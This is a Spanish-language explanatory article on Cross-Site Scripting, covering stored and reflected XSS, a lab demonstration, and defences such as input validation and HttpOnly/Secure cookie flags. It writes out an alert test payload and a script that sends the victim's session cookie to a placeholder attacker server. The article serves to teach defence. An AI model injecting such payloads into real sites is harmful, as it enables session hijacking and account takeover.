La seguridad informática es un factor crítico para las empresas en la era digital actual. Las vulnerabilidades en las aplicaciones web pueden exponer datos sensibles, como por ejemplo información personal de los clientes, credenciales de acceso e información financiera, y poner en riesgo la reputación y el negocio de nuestra empresa. Una de las vulnerabilidades más comunes en las aplicaciones web es el Cross-Site Scripting (XSS). En este artículo, explicaremos qué es el XSS, qué tipos hay, qué alcance puede tener esta vulnerabilidad y como nos podemos proteger.
El XSS es una vulnerabilidad de seguridad web que se produce cuando un atacante inyecta código malicioso en una página web, generalmente a través de un formulario o una entrada de usuario, que después se ejecuta en el navegador de otro usuario que visita la página infectada. Esto puede permitir al atacante robar cookies, sesiones y datos de autenticación, realizar acciones en nombre del usuario, modificar el contenido de la página web o redirigir al usuario a otro sitio web malicioso.
Hay dos tipos principales de XSS: el XSS persistente (Stored XSS) y el XSS no persistente (Reflected XSS).
En primer lugar, el XSS persistente se produce cuando el código malicioso se almacena en la base de datos de la aplicación web y se muestra a todos los usuarios que visitan la página infectada. En segundo lugar, el XSS no persistente se produce cuando el código malicioso se envía en una solicitud HTTP y solo afecta al usuario que la recibe.
A continuación, se muestra una simulación de ataque a este tipo de vulnerabilidad.
Veremos la vulnerabilidad XSS no persistente o reflejada. Cómo se ha explicado antes, esta vulnerabilidad ejecuta el código malicioso que se envía en una solicitud HTTP. En este ejemplo se puede ver como hay un parámetro en la URL que se ve reflejado en la página web, es decir, su valor aparece en el contenido de la web sin ninguna modificación:
Una vez identificado el posible XSS, en este campo se podría inyectar código JavaScript malicioso para que se ejecute dentro del navegador del cliente. Para verificar si existe esta vulnerabilidad, los atacantes acostumbran a ejecutar el siguiente código:
<script>alert(“XSS”)</script>
Este código genera una ventana de alerta con el mensaje “XSS”:
En el siguiente ejemplo, se muestra una demostración sobre el XSS persistente. Esta vulnerabilidad almacena el código en la base de datos de la aplicación, de forma que todo el mundo que visite la página infectada ejecutará el código malicioso:
Imaginad la siguiente situación: una página web que es un foro de discusión. Suponemos que los comentarios de este foro son vulnerables al XSS, de forma que, cuando un atacante inyecta código malicioso en uno de los comentarios, este código se ejecuta en el navegador de todas las personas que visitan el post y ven los comentarios.
De manera gráfica, suponemos que este es el campo donde se envían los comentarios:
Entonces, cuando se envía el comentario, queda registrado dentro de la página web:
A partir de este momento, cualquier persona que visite el post verá el comentario que he publicado. Si este comentario se manipula, añadiendo un código malicioso, como el que he puesto antes, podemos infectar a toda la gente que visite el post y vea los comentarios.
Hay que aclarar que el XSS no persistente, también conocido como XSS reflejado, es considerado menos peligroso que el XSS persistente, puesto que afecta a un solo cliente en cada solicitud maliciosa. En cambio, el XSS persistente es más peligroso, puesto que el código malicioso se almacena en la base de datos de la aplicación web y puede afectar a múltiples clientes que visitan la página afectada.
Aun así, el XSS no persistente puede ser igual de peligroso si el atacante es capaz de engañar a un gran número de usuarios para que hagan clic en un enlace malicioso, por ejemplo, mediante una campaña de Phishing.
Qué se puede llegar a hacer con esta vulnerabilidad?
El XSS puede ser utilizado para realizar una variedad de ataques maliciosos contra las aplicaciones web y sus usuarios. Uno de los ataques más comunes es robar cookies de sesión, permitiendo al atacante tomar el control de la sesión del usuario y realizar acciones en su nombre. Esto puede incluir el acceso a datos confidenciales, la realización de transacciones fraudulentas o la modificación de la configuración de la cuenta del usuario.
Anteriormente, hemos utilizado el siguiente script para detectar si la página web es vulnerable o no (<script>alert(“XSS”)</script>
). Ahora, cambiaremos este script para poder robar la cookie de sesión (<script>document.location=”http://127.0.0.1/cookie?”+document.cookie</script>
).
Este script hace dos cosas:
- Redirige al usuario a una página web remota (http://127.0.0.1/cookie) utilizando la propiedad “location” del objeto “document”
- Añade la cookie de sesión del usuario a la URL de la página web remota utilizando la propiedad “cookie” del objeto “document”.
Cuando el usuario ejecuta este script, su navegador enviará una petición a la página web remota (http://127.0.0.1/cookie) pasándole la cookie de sesión del usuario como parámetro. El atacante, que controla la página web remota, podrá entonces capturar la cookie de sesión y utilizarla para tomar el control de la sesión del usuario.
A continuación, veremos un ejemplo gráfico del robo de cookies de sesión utilizando el mismo entorno que hemos usado antes:
Primeramente, inyectamos el código que hemos preparado:
A continuación, abrimos una página web desde el lado del atacante para obtener la cookie de sesión:
Finalmente, accedemos a la página web infectada, que ejecutará automáticamente el código JavaScript malicioso y nos enviará la cookie al servidor que acabamos de montar:
Ahora, podríamos utilizar la cookie que hemos recibido para suplantar al usuario y en el supuesto de que este fuera administrador, podríamos ver paneles de administración privilegiados para intentar entrar a la máquina con alguna ejecución de comandos.
Este ataque en concreto solo es posible si el servidor no tiene una buena configuración de cookies. En concreto, hay dos campos que están mal configurados en este entorno de pruebas:
- HTTPOnly: Este campo indica que la cookie solo tiene que ser accesible vía HTTP, y no desde el código JavaScript que se ejecuta en el cliente. Este es el campo que permite enviar la cookie y suplantar al usuario (sin este campo mal configurado no podríamos haber llevado a cabo este ataque)
- Secure: Este campo indica que la cookie solo tiene que ser enviada vía conexiones seguras (HTTPS), y no vía conexiones no seguras (HTTP). Si este campo no está presente, un atacante puede interceptar la cookie utilizando una red no segura y suplantar al usuario.
Cómo podemos protegernos?
Una vez hemos entendido qué es el XSS, como se origina y qué potenciales ataques se pueden perpetrar, ahora hablaremos de cómo podemos protegernos y que podemos hacer al respeto.
En primer lugar, y más importante, tenemos que validar todos los inputs del usuario antes de hacer cualquier manipulación o inserción en la base de datos de la aplicación. Esto significa que tenemos que comprobar que los datos que reciben nuestras aplicaciones web son válidos y seguros antes de procesarlos o mostrarlos a los usuarios. Por ejemplo, se pueden utilizar expresiones regulares para comprobar que los inputs del usuario no contienen código malicioso o caracteres especiales no válidos.
Además, podemos utilizar librerías de seguridad que ofrecen esta protección contra los XSS. Estas librerías pueden ayudar a validar y sanear automáticamente los inputs de usuario, reduciendo el riesgo de vulnerabilidades de seguridad.
También es importante implementar medidas de seguridad, como por ejemplo la autenticación y la autorización de usuarios y la limitación de privilegios. Esto puede ayudar a reducir el riesgo de vulnerabilidades de seguridad y proteger nuestras aplicaciones web contra ataques XSS y otros.
Adicionalmente, es recomendable mantener todas nuestras aplicaciones actualizadas y corregir cualquier vulnerabilidad de seguridad conocida de manera rápida y eficiente. Esto también ayuda a reducir el riesgo de vulnerabilidades derivadas de software que no depende de nosotros.
Finalmente, es importante mantener una buena configuración de la aplicación para evitar que se puedan enviar de ninguna manera estas cookies (HTTPOnly a True y Secure a True), reduciendo así al máximo el potencial ataque que se podría llevar a cabo.